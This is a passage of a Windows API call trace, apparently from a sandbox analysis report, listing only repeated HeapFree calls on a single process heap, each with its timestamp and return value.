	[0161.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0161.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.422] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0161.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0161.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0161.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.924] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0162.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0162.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0163.953] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0163.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0164.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0164.479] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0164.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0164.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0164.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0165.270] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0165.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.788] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.797] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.798] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.800] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.811] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.942] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0165.944] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.946] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.947] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.949] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.950] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.952] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.953] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.960] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.961] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.966] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.968] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.970] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.972] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0166.139] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0166.142] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0166.142] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0166.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0166.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0166.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0166.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.027] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.184] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0167.969] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.150] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.152] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.154] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.457] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.464] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.472] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.478] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.480] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.483] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0168.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.895] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0168.899] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.145] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.166] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.170] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.173] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.184] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.187] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.630] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
